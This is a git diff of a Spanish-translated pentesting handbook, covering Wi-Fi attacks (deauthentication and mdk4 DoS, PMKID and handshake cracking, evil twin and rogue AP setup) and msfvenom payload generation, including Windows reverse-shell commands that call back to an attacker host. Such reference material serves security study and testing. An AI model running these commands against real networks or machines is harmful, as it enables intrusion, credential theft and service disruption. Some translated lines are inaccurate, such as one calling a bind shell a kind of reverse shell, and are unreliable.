Translated ['README.md', 'generic-methodologies-and-resources/pentesting
BIN
.gitbook/assets/image (1) (3) (1) (1).png
Normal file
After Width: | Height: | Size: 755 KiB |
Before Width: | Height: | Size: 755 KiB After Width: | Height: | Size: 129 KiB |
Before Width: | Height: | Size: 129 KiB After Width: | Height: | Size: 406 KiB |
Before Width: | Height: | Size: 406 KiB After Width: | Height: | Size: 84 KiB |
Before Width: | Height: | Size: 84 KiB After Width: | Height: | Size: 13 KiB |
|
@ -59,7 +59,7 @@ Obtén acceso hoy mismo:
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todos los bug bounties de criptomonedas.**
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -48,13 +48,13 @@ Puedes encontrar más información sobre EAPHammer en su repositorio de GitHub:
|
|||
|
||||
### Fluxion
|
||||
|
||||
Fluxion es una herramienta de pentesting de Wi-Fi que automatiza el proceso de ataque a redes inalámbricas protegidas con WPA/WPA2. Esta herramienta utiliza técnicas de phishing para engañar a los usuarios y obtener sus credenciales de autenticación. Fluxion crea un punto de acceso falso que imita la red objetivo y luego utiliza ataques de deautenticación y captura de handshake para obtener las credenciales de autenticación de los usuarios.
|
||||
Fluxion es una herramienta de pentesting de Wi-Fi que automatiza el proceso de ataque a redes inalámbricas protegidas con WPA/WPA2. Esta herramienta utiliza técnicas de phishing para engañar a los usuarios y obtener sus credenciales de autenticación. Fluxion crea un punto de acceso falso que imita la red objetivo y luego utiliza ataques de deautenticación y captura de handshake para obtener las contraseñas de Wi-Fi. Fluxion es una herramienta de línea de comandos que se ejecuta en Linux y requiere privilegios de root para funcionar correctamente.
|
||||
|
||||
Puedes encontrar más información sobre Fluxion en su repositorio de GitHub: [Fluxion](https://github.com/FluxionNetwork/fluxion)
|
||||
|
||||
### Wifiphisher
|
||||
|
||||
Wifiphisher es una herramienta de pentesting de Wi-Fi que automatiza el proceso de ataque a redes inalámbricas protegidas con WPA/WPA2. Esta herramienta utiliza técnicas de phishing para engañar a los usuarios y obtener sus credenciales de autenticación. Wifiphisher crea un punto de acceso falso que imita la red objetivo y luego utiliza ataques de deautenticación y captura de handshake para obtener las credenciales de autenticación de los usuarios.
|
||||
Wifiphisher es una herramienta de pentesting de Wi-Fi que automatiza el proceso de ataque a redes inalámbricas protegidas con WPA/WPA2. Esta herramienta utiliza técnicas de phishing para engañar a los usuarios y obtener sus credenciales de autenticación. Wifiphisher crea un punto de acceso falso que imita la red objetivo y luego utiliza ataques de deautenticación y captura de handshake para obtener las contraseñas de Wi-Fi. Wifiphisher es una herramienta de línea de comandos que se ejecuta en Linux y requiere privilegios de root para funcionar correctamente.
|
||||
|
||||
Puedes encontrar más información sobre Wifiphisher en su repositorio de GitHub: [Wifiphisher](https://github.com/wifiphisher/wifiphisher)
|
||||
```
|
||||
|
@ -63,27 +63,37 @@ git clone https://github.com/s0lst1c3/eaphammer.git
|
|||
```
|
||||
# Airgeddon
|
||||
|
||||
Airgeddon es una herramienta de prueba de penetración (pentesting) de redes inalámbricas que se utiliza para auditar y asegurar la seguridad de las redes WiFi. Esta herramienta está diseñada para ser utilizada en sistemas operativos basados en Linux y proporciona una amplia gama de funcionalidades para realizar ataques y pruebas de seguridad en redes WiFi.
|
||||
Airgeddon es una herramienta de prueba de penetración de Wi-Fi todo en uno diseñada para simplificar y automatizar el proceso de prueba de seguridad de redes inalámbricas. Esta herramienta está escrita en Bash y se ejecuta en sistemas operativos basados en Linux.
|
||||
|
||||
## Características principales
|
||||
|
||||
- **Modos de ataque**: Airgeddon ofrece una variedad de modos de ataque, incluyendo ataques de fuerza bruta, ataques de diccionario, ataques de deautenticación y ataques de Evil Twin. Estos modos de ataque permiten a los pentesters evaluar la seguridad de una red WiFi desde diferentes perspectivas.
|
||||
- **Modos de ataque**: Airgeddon ofrece una amplia gama de modos de ataque, incluyendo ataques de fuerza bruta, ataques de diccionario, ataques de desautenticación, ataques de Evil Twin, ataques de phishing y más. Estos modos de ataque se pueden seleccionar fácilmente desde la interfaz de usuario de Airgeddon.
|
||||
|
||||
- **Escaneo de redes**: La herramienta proporciona capacidades de escaneo de redes WiFi para identificar redes disponibles y recopilar información sobre ellas, como el SSID, el canal, la potencia de la señal y los dispositivos conectados.
|
||||
- **Escaneo de redes**: Airgeddon puede escanear y mostrar una lista de redes inalámbricas disponibles en el área. Esto permite a los usuarios identificar rápidamente las redes objetivo para realizar pruebas de penetración.
|
||||
|
||||
- **Cracking de contraseñas**: Airgeddon incluye herramientas para realizar ataques de cracking de contraseñas en redes WiFi protegidas con WEP, WPA y WPA2. Estos ataques permiten a los pentesters probar la fortaleza de las contraseñas utilizadas en una red WiFi.
|
||||
- **Cracking de contraseñas**: Airgeddon incluye herramientas y scripts para realizar ataques de cracking de contraseñas en redes Wi-Fi protegidas con WEP, WPA y WPA2. Estos ataques pueden ayudar a revelar contraseñas débiles o vulnerabilidades en la configuración de seguridad de la red.
|
||||
|
||||
- **Ataques de Evil Twin**: Esta herramienta permite a los pentesters crear un punto de acceso falso (Evil Twin) para engañar a los usuarios y obtener acceso a sus datos sensibles. Los ataques de Evil Twin son útiles para evaluar la seguridad de una red WiFi y la conciencia de los usuarios sobre los riesgos de seguridad.
|
||||
- **Ataques de Evil Twin**: Airgeddon puede configurar un punto de acceso falso (Evil Twin) para engañar a los dispositivos y hacer que se conecten a él en lugar de a la red legítima. Esto permite a los usuarios realizar ataques de phishing y capturar información confidencial.
|
||||
|
||||
- **Integración de herramientas**: Airgeddon integra varias herramientas populares de hacking de redes inalámbricas, como Aircrack-ng, MDK3, Reaver, PixieWPS, Wifite y Wifiphisher. Estas herramientas proporcionan funcionalidades adicionales para realizar ataques y pruebas de seguridad en redes WiFi.
|
||||
- **Ataques de desautenticación**: Airgeddon puede realizar ataques de desautenticación para forzar a los dispositivos conectados a una red Wi-Fi a desconectarse. Esto puede ser útil para realizar ataques de Evil Twin o para capturar información de autenticación.
|
||||
|
||||
## Uso de Airgeddon
|
||||
- **Integración de herramientas**: Airgeddon integra varias herramientas populares de prueba de penetración de Wi-Fi, como Aircrack-ng, Reaver, MDK3, PixieWPS, Bully, Wifite y más. Esto proporciona a los usuarios una amplia gama de opciones y funcionalidades para realizar pruebas de seguridad.
|
||||
|
||||
Para utilizar Airgeddon, es necesario tener una tarjeta de red compatible con el modo de monitorización y un sistema operativo basado en Linux. La herramienta se puede descargar e instalar desde el repositorio oficial de Airgeddon en GitHub.
|
||||
## Uso
|
||||
|
||||
Una vez instalada, se puede ejecutar Airgeddon desde la línea de comandos utilizando el comando `./airgeddon.sh`. La herramienta proporciona una interfaz de usuario interactiva que guía al usuario a través de los diferentes modos de ataque y opciones disponibles.
|
||||
Para utilizar Airgeddon, simplemente descargue el repositorio desde GitHub y ejecute el script principal `airgeddon.sh`. Asegúrese de tener los permisos adecuados para ejecutar el script.
|
||||
|
||||
Es importante tener en cuenta que el uso de Airgeddon para realizar pruebas de penetración en redes WiFi sin el consentimiento explícito del propietario de la red es ilegal y puede tener consecuencias legales. Siempre se debe obtener el permiso adecuado antes de utilizar esta herramienta para fines de prueba de seguridad.
|
||||
```bash
|
||||
git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
|
||||
cd airgeddon
|
||||
sudo bash airgeddon.sh
|
||||
```
|
||||
|
||||
Una vez que se ejecute el script, se mostrará una interfaz de usuario interactiva que guiará al usuario a través de los diferentes modos de ataque y opciones disponibles.
|
||||
|
||||
## Advertencia legal
|
||||
|
||||
El uso de Airgeddon y cualquier otra herramienta de prueba de penetración debe realizarse de acuerdo con las leyes y regulaciones locales. Los usuarios son los únicos responsables de cualquier uso indebido o ilegal de esta herramienta.
|
||||
```bash
|
||||
mv `which dhcpd` `which dhcpd`.old
|
||||
apt install isc-dhcp-server
|
||||
|
@ -91,19 +101,17 @@ apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff
|
|||
```
|
||||
**Ejecutar airgeddon con docker**
|
||||
|
||||
Airgeddon es una herramienta de pentesting de Wi-Fi que se puede ejecutar fácilmente utilizando Docker. Docker es una plataforma de contenedores que permite empaquetar aplicaciones y sus dependencias en un entorno aislado.
|
||||
|
||||
Para ejecutar airgeddon con Docker, sigue los siguientes pasos:
|
||||
Si prefieres ejecutar airgeddon en un entorno aislado utilizando Docker, puedes seguir los siguientes pasos:
|
||||
|
||||
1. Asegúrate de tener Docker instalado en tu sistema. Puedes encontrar instrucciones de instalación en la documentación oficial de Docker.
|
||||
|
||||
2. Descarga el repositorio de airgeddon desde GitHub utilizando el siguiente comando:
|
||||
2. Clona el repositorio de airgeddon desde GitHub utilizando el siguiente comando:
|
||||
|
||||
```
|
||||
git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
|
||||
```
|
||||
|
||||
3. Navega hasta el directorio del repositorio clonado:
|
||||
3. Navega hasta el directorio de airgeddon:
|
||||
|
||||
```
|
||||
cd airgeddon
|
||||
|
@ -123,7 +131,7 @@ Para ejecutar airgeddon con Docker, sigue los siguientes pasos:
|
|||
|
||||
Ten en cuenta que se utiliza la opción `--net=host` para permitir que el contenedor acceda a la red del host y la opción `--privileged` para otorgar privilegios al contenedor.
|
||||
|
||||
Con estos pasos, podrás ejecutar airgeddon utilizando Docker de manera sencilla y sin tener que preocuparte por las dependencias del sistema.
|
||||
Con estos pasos, podrás ejecutar airgeddon utilizando Docker y aprovechar los beneficios de un entorno aislado y portátil.
|
||||
```bash
|
||||
docker run \
|
||||
--rm \
|
||||
|
@ -178,7 +186,7 @@ Esta herramienta automatiza los ataques de **WPS/WEP/WPA-PSK**. Realizará autom
|
|||
* **Fuerza Bruta** de credenciales
|
||||
* **Evil Twin** (con o sin DoS)
|
||||
* Evil Twin **Abierto** \[+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
|
||||
* Evil Twin **WPA-PSK** -- Útil para ataques de red si conoces la contraseña
|
||||
* Evil Twin **WPA-PSK** -- Útil para ataques a redes si conoces la contraseña
|
||||
* **WPA-MGT** -- Útil para capturar credenciales de la empresa
|
||||
* **KARMA, MANA**, **Loud MANA**, **Beacon conocido**
|
||||
* **+ Abierto** -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
|
||||
|
@ -190,7 +198,7 @@ Esta herramienta automatiza los ataques de **WPS/WEP/WPA-PSK**. Realizará autom
|
|||
|
||||
La forma más común de realizar este tipo de ataque es mediante paquetes de **desautenticación**. Estos son un tipo de trama "de gestión" responsable de desconectar un dispositivo de un punto de acceso. Falsificar estos paquetes es la clave para [hackear muchas redes Wi-Fi](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), ya que puedes desconectar forzosamente a cualquier cliente de la red en cualquier momento. La facilidad con la que se puede hacer esto es algo aterrador y a menudo se hace como parte de la obtención de un handshake WPA para descifrarlo.
|
||||
|
||||
Además de utilizar esta desconexión momentánea para obtener un handshake para descifrar, también puedes dejar que esos paquetes de desautenticación sigan llegando, lo que tiene el efecto de bombardear al cliente con paquetes de desautenticación aparentemente provenientes de la red a la que están conectados. Debido a que estas tramas no están encriptadas, muchos programas aprovechan las tramas de gestión falsificándolas y enviándolas a uno o todos los dispositivos de una red.\
|
||||
Además de utilizar esta desconexión momentánea para obtener un handshake para descifrar, también puedes dejar que esas desautenticaciones sigan llegando, lo que tiene el efecto de bombardear al cliente con paquetes de desautenticación aparentemente provenientes de la red a la que están conectados. Debido a que estas tramas no están encriptadas, muchos programas aprovechan las tramas de gestión falsificándolas y enviándolas a uno o todos los dispositivos de una red.\
|
||||
**Descripción tomada de** [**aquí**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
|
||||
**Desautenticación usando Aireplay-ng**
|
||||
|
@ -236,7 +244,7 @@ mdk4 wlan0mon b -a -w nta -m
|
|||
```
|
||||
**MODO DE ATAQUE a: Denegación de Servicio de Autenticación**
|
||||
|
||||
Envía tramas de autenticación a todos los APs encontrados dentro del rango. Demasiados clientes pueden bloquear o reiniciar varios APs.
|
||||
Envía tramas de autenticación a todos los AP encontrados dentro del rango. Demasiados clientes pueden bloquear o reiniciar varios APs.
|
||||
```bash
|
||||
# -a BSSID send random data from random clients to try the DoS
|
||||
# -i BSSID capture and repeat pakets from authenticated clients
|
||||
|
@ -258,7 +266,7 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
|||
```
|
||||
**MODO DE ATAQUE e: Inyección de paquetes EAPOL Start y Logoff**
|
||||
|
||||
Inunda un AP con tramas de inicio de **EAPOL** para mantenerlo ocupado con **sesiones falsas** y así deshabilitarlo para manejar cualquier cliente legítimo. O desconecta a los clientes mediante la **inyección de mensajes falsos** de **Logoff EAPOL**.
|
||||
Inunda un AP con tramas de inicio de **EAPOL** para mantenerlo ocupado con **sesiones falsas** y así deshabilitarlo para manejar cualquier cliente legítimo. O desconecta a los clientes mediante la **inyección de mensajes falsos** de Logoff de EAPOL.
|
||||
```bash
|
||||
# Use Logoff messages to kick clients
|
||||
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
|
@ -345,7 +353,7 @@ Tan roto y desaparecido que no voy a hablar de ello. Solo sepa que _**airgeddon*
|
|||
|
||||
![](<../../.gitbook/assets/image (125).png>)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de cifrado.**
|
||||
|
||||
|
@ -375,7 +383,7 @@ Como se explica en la publicación original, el **PMKID** se deriva utilizando d
|
|||
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||||
```
|
||||
**Dado que la cadena "PMK Name" es constante, conocemos tanto el BSSID del AP como el de la estación y el `PMK` es el mismo obtenido de un apretón de manos completo de 4 vías**, ¡esto es todo lo que hashcat necesita para descifrar la PSK y recuperar la frase de paso!\
|
||||
Descripción obtenida de [aquí](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/).
|
||||
Descripción obtenida [aquí](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/).
|
||||
|
||||
Para **recopilar** esta información y **realizar un ataque de fuerza bruta** localmente a la contraseña, puedes hacer lo siguiente:
|
||||
```bash
|
||||
|
@ -436,7 +444,7 @@ aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.c
|
|||
```bash
|
||||
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
|
||||
```
|
||||
**tshark** es una herramienta de línea de comandos que se utiliza para capturar y analizar el tráfico de red. Es parte del conjunto de herramientas de Wireshark y se utiliza comúnmente en pruebas de penetración y análisis forense de redes. Tshark permite capturar paquetes en tiempo real o analizar archivos de captura existentes. Proporciona una amplia gama de opciones y filtros para examinar y extraer información específica de los paquetes de red. Tshark es una herramienta poderosa para investigar y solucionar problemas de red, así como para identificar posibles vulnerabilidades y ataques en una red.
|
||||
**tshark** es una herramienta de línea de comandos que se utiliza para capturar y analizar el tráfico de red. Es parte del conjunto de herramientas de Wireshark y se utiliza comúnmente en pruebas de penetración y análisis forense de redes. Tshark permite a los hackers y profesionales de la seguridad examinar los paquetes de red en tiempo real, filtrar y extraer información relevante, y realizar análisis detallados del tráfico de red. Es una herramienta poderosa y versátil que puede utilizarse para identificar vulnerabilidades, detectar ataques y realizar investigaciones de seguridad en redes.
|
||||
```bash
|
||||
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
|
||||
```
|
||||
|
@ -526,13 +534,13 @@ Cada vez que una estación se conecta a una red inalámbrica, el ESSID de la red
|
|||
|
||||
### Escaneo pasivo
|
||||
|
||||
En las redes de infraestructura, los puntos de acceso transmiten periódicamente tramas de balizas para anunciar su presencia y capacidades a las estaciones cercanas. Las balizas son tramas de difusión, lo que significa que están destinadas a ser recibidas por todas las estaciones cercanas dentro del alcance. Las balizas incluyen información sobre las tasas admitidas por el AP, las capacidades de cifrado, información adicional y, lo más importante, las balizas contienen el ESSID del AP (si la difusión del ESSID no está desactivada).
|
||||
En las redes de infraestructura, los puntos de acceso transmiten periódicamente tramas de balizas para anunciar su presencia y capacidades a las estaciones cercanas. Las balizas son tramas de difusión, lo que significa que están destinadas a ser recibidas por todas las estaciones cercanas dentro del alcance. Las balizas incluyen información sobre las tasas admitidas por el AP, las capacidades de cifrado, información adicional y, lo más importante, las tramas de balizas contienen el ESSID del AP (si la difusión del ESSID no está desactivada).
|
||||
|
||||
Durante el escaneo pasivo, el dispositivo cliente escucha las tramas de balizas de los puntos de acceso cercanos. Si el dispositivo cliente recibe una trama de baliza cuyo campo ESSID coincide con un ESSID de la PNL del cliente, el cliente se conectará automáticamente al punto de acceso que envió la trama de baliza. Luego, supongamos que queremos atacar un dispositivo inalámbrico que no está conectado actualmente a ninguna red inalámbrica. Si conocemos al menos una entrada en la PNL de ese cliente, podemos forzar al cliente a que se conecte a nosotros simplemente creando nuestro propio punto de acceso con el ESSID de esa entrada.
|
||||
|
||||
### Sondeo activo
|
||||
|
||||
El segundo algoritmo de selección de red utilizado en 802.11 se conoce como Sondeo Activo. Los dispositivos cliente que utilizan el sondeo activo transmiten continuamente tramas de solicitud de sondeo para determinar qué AP están dentro del alcance, así como cuáles son sus capacidades. Las solicitudes de sondeo se presentan en dos formas: dirigidas y de difusión. Las solicitudes de sondeo dirigidas están dirigidas a un ESSID específico y son la forma en que el cliente verifica si una red específica está cerca.
|
||||
El segundo algoritmo de selección de red utilizado en 802.11 se conoce como Sondeo Activo. Los dispositivos clientes que utilizan el sondeo activo transmiten continuamente tramas de solicitud de sondeo para determinar qué AP están dentro del alcance, así como cuáles son sus capacidades. Las solicitudes de sondeo se presentan en dos formas: dirigidas y de difusión. Las solicitudes de sondeo dirigidas están dirigidas a un ESSID específico y son la forma en que el cliente verifica si una red específica está cerca.
|
||||
|
||||
Los clientes que utilizan el sondeo dirigido enviarán solicitudes de sondeo para cada red en su PNL. Cabe destacar que el sondeo dirigido es la única forma de identificar la presencia de redes ocultas cercanas. Las solicitudes de sondeo de difusión funcionan casi de la misma manera, pero se envían con el campo SSID configurado como NULL. Esto dirige la solicitud de sondeo de difusión a todos los puntos de acceso cercanos, lo que permite a la estación verificar si alguna de sus redes preferidas está cerca sin revelar el contenido de su PNL.
|
||||
|
||||
|
@ -546,7 +554,7 @@ Usando `ifconfig -a`, verifica que la interfaz wlan para crear el AP y la interf
|
|||
```bash
|
||||
apt-get install dnsmasq #Manages DHCP and DNS
|
||||
```
|
||||
Crear un archivo de configuración _/etc/dnsmasq.conf_ de la siguiente manera:
|
||||
Crea un archivo de configuración _/etc/dnsmasq.conf_ de la siguiente manera:
|
||||
```
|
||||
interface=wlan0
|
||||
dhcp-authoritative
|
||||
|
@ -634,13 +642,13 @@ Forwarding and redirection are techniques used in network traffic manipulation t
|
|||
|
||||
#### Forwarding
|
||||
|
||||
Forwarding involves capturing network traffic and forwarding it to a different destination than originally intended. This can be done by configuring the network devices, such as routers or switches, to redirect the traffic to a specific IP address or port. By intercepting the traffic, a pentester can analyze it for vulnerabilities or perform attacks on the target network.
|
||||
Forwarding involves capturing network traffic and forwarding it to a different destination than originally intended. This can be done by configuring the network devices, such as routers or switches, to redirect the traffic to a specific IP address or port. By intercepting and forwarding the traffic, a pentester can analyze the data packets and gain insights into the network's vulnerabilities.
|
||||
|
||||
#### Redirection
|
||||
|
||||
Redirection, on the other hand, involves redirecting network traffic to a different network or device. This can be achieved by manipulating the network settings or by using tools that redirect traffic to a specific IP address or port. Redirection can be useful in pentesting to redirect traffic to a controlled environment, such as a virtual machine or a proxy server, where it can be analyzed and manipulated.
|
||||
Redirection, on the other hand, involves redirecting network traffic to a different network or device. This can be achieved by manipulating the network settings or by using tools and techniques like DNS spoofing or ARP poisoning. By redirecting the traffic, a pentester can redirect the communication between devices to their own machine, allowing them to intercept and analyze the data packets for potential vulnerabilities.
|
||||
|
||||
Both forwarding and redirection techniques are valuable in pentesting WiFi networks as they allow the pentester to intercept and manipulate network traffic for various purposes, including vulnerability assessment, traffic analysis, and exploitation. However, it is important to use these techniques responsibly and with proper authorization to avoid any legal consequences.
|
||||
Both forwarding and redirection techniques are valuable in pentesting WiFi networks as they allow the pentester to intercept and analyze network traffic, identify potential vulnerabilities, and exploit them for further penetration testing activities. However, it is important to note that these techniques should only be used in controlled environments and with proper authorization to avoid any legal consequences.
|
||||
```bash
|
||||
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
|
||||
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
|
||||
|
@ -648,13 +656,13 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
|||
```
|
||||
## Evil Twin
|
||||
|
||||
Un ataque de evil twin es un tipo de ataque Wi-Fi que aprovecha el hecho de que la mayoría de las computadoras y teléfonos solo ven el "nombre" o ESSID de una red inalámbrica (ya que la estación base no necesita autenticarse con el cliente). Esto hace que sea muy difícil distinguir entre redes con el mismo nombre y el mismo tipo de cifrado. De hecho, muchas redes tienen varios puntos de acceso que extienden la red, todos usando el mismo nombre para ampliar el acceso sin confundir a los usuarios.
|
||||
Un ataque de Evil Twin es un tipo de ataque Wi-Fi que aprovecha el hecho de que la mayoría de las computadoras y teléfonos solo ven el "nombre" o ESSID de una red inalámbrica (ya que la estación base no necesita autenticarse con el cliente). Esto hace que sea muy difícil distinguir entre redes con el mismo nombre y el mismo tipo de cifrado. De hecho, muchas redes tienen varios puntos de acceso que extienden la red, todos usando el mismo nombre para ampliar el acceso sin confundir a los usuarios.
|
||||
|
||||
Debido a cómo funcionan los clientes (recuerda que el protocolo 802.11 permite a las estaciones moverse libremente entre puntos de acceso dentro del mismo ESS), es posible hacer que un dispositivo cambie la estación base a la que está conectado. Esto se puede lograr ofreciendo una señal mejor (lo cual no siempre es posible) o bloqueando el acceso a la estación base original (paquetes de desautenticación, interferencia o algún otro tipo de ataque de denegación de servicio).
|
||||
|
||||
También debes tener en cuenta que las implementaciones inalámbricas en el mundo real suelen tener más de un punto de acceso, y estos puntos de acceso suelen ser más potentes y tener un mejor alcance visual debido a su ubicación en el techo. Desautenticar un solo punto de acceso generalmente resulta en que el objetivo se mueva hacia otro punto de acceso válido en lugar de tu AP falso, a menos que se desautentiquen todos los puntos de acceso cercanos (ruidosos) o tengas mucho cuidado con la ubicación del AP falso (difícil).
|
||||
|
||||
Puedes crear un Evil Twin abierto muy básico (sin capacidad para enrutar el tráfico a Internet) haciendo lo siguiente:
|
||||
Puedes crear un Evil Twin básico abierto (sin capacidad para enrutar el tráfico a Internet) haciendo lo siguiente:
|
||||
```bash
|
||||
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||
```
|
||||
|
@ -715,8 +723,8 @@ O también puedes usar:
|
|||
|
||||
**Usando Airgeddon**
|
||||
|
||||
`Airgeddon` puede utilizar certificados generados previamente para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder **capturar al usuario y el MD5 de la contraseña**. Posteriormente, el atacante puede intentar descifrar la contraseña.\
|
||||
`Airgeddon` te ofrece la posibilidad de un **ataque continuo de Evil Twin (ruidoso)** o **solo crear el ataque Evil hasta que alguien se conecte (discreto).**
|
||||
`Airgeddon` puede utilizar certificados generados previamente para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder **capturar al usuario y el MD5 de la contraseña**. Luego, el atacante puede intentar descifrar la contraseña.\
|
||||
`Airgeddon` te ofrece la posibilidad de un **ataque de Evil Twin continuo (ruidoso)** o **solo crear el ataque de Evil Twin hasta que alguien se conecte (discreto).**
|
||||
|
||||
![](<../../.gitbook/assets/image (129).png>)
|
||||
|
||||
|
@ -741,7 +749,7 @@ Y observa la nueva pestaña **"TLS descifrado"**:
|
|||
|
||||
## Ataque KARMA, MANA, Loud MANA y beacons conocidos
|
||||
|
||||
### Listas negras y blancas de ESSID y MAC
|
||||
### Listas negras/blancas de ESSID y MAC
|
||||
|
||||
La siguiente tabla enumera los diferentes tipos de MFACLs (Listas de Control de Acceso a Marcos de Gestión) disponibles, así como sus efectos cuando se utilizan:
|
||||
|
||||
|
@ -835,7 +843,7 @@ Esto funciona como un Evil-Twin pero para Wi-Fi Direct, puedes hacerse pasar por
|
|||
|
||||
TODO: Echa un vistazo a [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (inicio de sesión con Facebook e imitación de WPA en portales cautivos)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -29,7 +29,7 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
|
|||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
---
|
||||
***
|
||||
|
||||
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
|
||||
|
||||
|
@ -64,41 +64,45 @@ Estos son solo algunos de los parámetros más comunes que se pueden utilizar al
|
|||
EXITFUNC=thread
|
||||
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
|
||||
```
|
||||
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine. In this section, we will use the `msfvenom` tool to generate a reverse shell payload for Windows.
|
||||
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine. In this section, we will discuss how to create a reverse shell payload using the `msfvenom` tool.
|
||||
|
||||
To generate a reverse shell payload, we need to specify the IP address and port number of the attacker's machine. The following command will generate a reverse shell payload using `msfvenom`:
|
||||
To create a reverse shell payload, we will use the following command:
|
||||
|
||||
```plaintext
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f exe > shell.exe
|
||||
```
|
||||
|
||||
Replace `<attacker IP>` with the IP address of the attacker's machine and `<attacker port>` with the port number on which the attacker is listening for incoming connections. The generated payload will be saved as `shell.exe`.
|
||||
Replace `<attacker IP>` with the IP address of the attacker's machine and `<attacker port>` with the port number on which the attacker's machine will listen for the incoming connection.
|
||||
|
||||
Once the payload is generated, it can be executed on the target machine to establish a reverse shell connection to the attacker's machine.
|
||||
This command will generate an executable file named `shell.exe`, which can be executed on the target machine to establish a reverse shell connection.
|
||||
|
||||
Once the payload is generated, you can transfer it to the target machine using various methods such as email, USB drive, or file transfer protocols.
|
||||
|
||||
After transferring the payload to the target machine, you can execute it to establish a reverse shell connection. The attacker's machine should be listening on the specified port to receive the incoming connection.
|
||||
|
||||
Once the connection is established, the attacker will have remote access to the target machine and can execute commands, upload/download files, and perform various other actions.
|
||||
|
||||
It is important to note that the reverse shell payload should be used responsibly and only on systems that you have proper authorization to access. Unauthorized use of reverse shells is illegal and can result in severe consequences.
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
|
||||
```
|
||||
A bind shell is a type of shell that listens for incoming connections on a specific port. Once a connection is established, the bind shell provides a command prompt interface to interact with the target system. This allows an attacker to gain remote access and control over the compromised system.
|
||||
Un **Bind Shell** es un tipo de shell inversa que se establece en el servidor objetivo y espera a que un cliente se conecte a él. Una vez que se establece la conexión, el cliente puede enviar comandos al servidor y recibir las respuestas correspondientes.
|
||||
|
||||
To create a bind shell payload using `msfvenom`, you can use the following command:
|
||||
El comando `msfvenom` de Metasploit Framework se puede utilizar para generar un payload de Bind Shell. El payload se puede personalizar según las necesidades del atacante, como el puerto en el que se establecerá la conexión y el tipo de shell que se utilizará.
|
||||
|
||||
A continuación se muestra un ejemplo de cómo generar un payload de Bind Shell utilizando `msfvenom`:
|
||||
|
||||
```plaintext
|
||||
msfvenom -p <payload> LHOST=<attacker IP> LPORT=<port> -f <format> -o <output file>
|
||||
msfvenom -p <payload> LHOST=<IP del atacante> LPORT=<puerto> -f <formato> -o <archivo de salida>
|
||||
```
|
||||
|
||||
- `<payload>`: The payload to use, such as `windows/meterpreter/reverse_tcp` or `linux/x86/shell/bind_tcp`.
|
||||
- `<attacker IP>`: The IP address of the attacker machine.
|
||||
- `<port>`: The port number to listen on.
|
||||
- `<format>`: The output format, such as `exe`, `elf`, or `raw`.
|
||||
